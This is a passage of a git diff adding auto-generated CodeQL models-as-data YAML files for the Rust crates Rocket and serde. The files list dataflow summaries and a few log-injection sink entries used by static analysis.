"ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::origin::Origin::path]", "ReturnValue.Field[crate::uri::path_query::Path::data].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::origin::Origin::source]", "ReturnValue.Field[crate::uri::path_query::Path::source].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::path]", "ReturnValue.Field[crate::uri::reference::Reference::path]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::query]", "ReturnValue.Field[crate::uri::reference::Reference::query]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::source]", "ReturnValue.Field[crate::uri::reference::Reference::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::reference::Reference::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Reference(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::prepend", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::authority", "Argument[self].Field[crate::uri::reference::Reference::authority].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[1]", "ReturnValue.Field[crate::uri::reference::Reference::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fragment", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_normalized", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::reference::Reference::path]", "ReturnValue.Field[crate::uri::path_query::Path::data].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::reference::Reference::source]", "ReturnValue.Field[crate::uri::path_query::Path::source].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue.Field[crate::uri::reference::Reference::authority]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::scheme", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_query_fragment_of", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::segments::Segments::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[1]", "ReturnValue.Field[crate::uri::segments::Segments::segments]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::skip", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::uri::Uri::Absolute(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::uri::Uri::Asterisk(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::uri::Uri::Authority(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::uri::Uri::Origin(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::uri::Uri::Reference(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::uri::Uri::Asterisk(0)]", "ReturnValue.Field[crate::uri::uri::Uri::Asterisk(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::absolute", "Argument[self].Field[crate::uri::uri::Uri::Absolute(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::authority", "Argument[self].Field[crate::uri::uri::Uri::Authority(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::origin", "Argument[self].Field[crate::uri::uri::Uri::Origin(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::reference", "Argument[self].Field[crate::uri::uri::Uri::Reference(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "crate::parse::uri::parser::complete", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "crate::parse::uri::scheme_from_str", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml new file mode 100644 index 000000000000..64aa3ccb425f --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml @@ -0,0 +1,14 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref_mut", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::into_inner", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::info", "Argument[self].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::info", "Argument[self].Field[crate::database::Initializer(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml new file mode 100644 index 000000000000..bfd8737a5e39 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml @@ -0,0 +1,22 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::context", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::context", "Argument[self].Field[crate::context::manager::ContextManager(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::new", "Argument[0]", "ReturnValue.Field[crate::context::manager::ContextManager(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::finalize", "Argument[self].Field[crate::template::Template::value].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::render", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::render", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::init", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::render", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::respond_to", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::finalize", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::finalize", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::render", "Argument[0]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml new file mode 100644 index 000000000000..552ca54324b7 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::fairing", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Error::Config(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Error::Pool(0)]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml new file mode 100644 index 000000000000..66aadb9919b0 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml @@ -0,0 +1,12 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::accept_key", "Argument[self].Field[crate::websocket::WebSocket::key]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::channel", "Argument[self]", "ReturnValue.Field[crate::websocket::Channel::ws]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[0]", "Argument[self].Field[crate::websocket::WebSocket::config]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[0]", "ReturnValue.Field[crate::websocket::WebSocket::config]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::stream", "Argument[self]", "ReturnValue.Field[crate::websocket::MessageStream::ws]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-pastebin.model.yml b/rust/ql/lib/ext/generated/rocket/repo-pastebin.model.yml new file mode 100644 index 000000000000..9fb36c037036 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-pastebin.model.yml @@ -0,0 +1,8 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::pastebin", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo::pastebin", "::file_path", "Argument[self]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml b/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml new file mode 100644 index 000000000000..f2bb481b1afe --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::tls", "::try_launch", "Argument[self].Field[crate::redirector::Redirector::port]", "Argument[0].Field[crate::config::config::Config::port]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-todo.model.yml b/rust/ql/lib/ext/generated/rocket/repo-todo.model.yml new file mode 100644 index 000000000000..29ade2ffc34a --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-todo.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::todo", "::raw", "Argument[1]", "ReturnValue.Field[crate::Context::flash]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml new file mode 100644 index 000000000000..68cd535dce36 --- /dev/null +++ b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml @@ -0,0 +1,207 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/serde-rs/serde:serde", "<&[u8] as crate::__private::de::IdentifierDeserializer>::from", "Argument[self]", "ReturnValue.Field[crate::de::value::BytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "<&[u8] as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::BytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "<&crate::__private::de::content::Content as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::__private::de::content::ContentRefDeserializer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "<&str as crate::__private::de::IdentifierDeserializer>::from", "Argument[self]", "ReturnValue.Field[crate::__private::de::StrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "<&str as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::StrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::BoolDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::CharDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::from", "Argument[self].Field[0]", "ReturnValue.Field[crate::__private::de::BorrowedStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::from", "Argument[self].Field[0]", "ReturnValue.Field[crate::de::value::BorrowedBytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::from", "Argument[self].Field[crate::__private::de::Borrowed(0)]", "ReturnValue.Field[crate::__private::de::BorrowedStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::from", "Argument[self].Field[crate::__private::de::Borrowed(0)]", "ReturnValue.Field[crate::de::value::BorrowedBytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::__private::de::content::ContentDeserializer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::as_str", "Argument[self].Reference.Field[crate::__private::de::content::Content::Str(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::as_str", "Argument[self].Reference.Field[crate::__private::de::content::Content::String(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::__deserialize_content", "Argument[self].Field[crate::__private::de::content::ContentDeserializer::content]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::ContentDeserializer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::__deserialize_content", "Argument[self].Field[crate::__private::de::content::ContentRefDeserializer::content].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::ContentRefDeserializer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_bool", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::Bool(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_borrowed_bytes", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::Bytes(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_borrowed_str", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::Str(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_byte_buf", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::ByteBuf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_char", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::Char(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_f32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::F32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_f64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::F64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_i16", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::I16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_i32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::I32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_i64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::I64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_i8", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::I8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_string", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::String(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_u16", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::U16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_u32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::U32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_u64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::U64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_u8", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::U8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::EnumDeserializer::variant]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::de::content::EnumDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::InternallyTaggedUnitVisitor::type_name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::de::content::InternallyTaggedUnitVisitor::variant_name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::TaggedContentVisitor::tag_name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::de::content::TaggedContentVisitor::expecting]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::UntaggedUnitVisitor::type_name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::de::content::UntaggedUnitVisitor::variant_name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_map", "Argument[self].Field[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeMap(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_map", "Argument[self].Field[crate::__private::ser::FlatMapSerializer(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeMap(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct", "Argument[self].Field[0]", 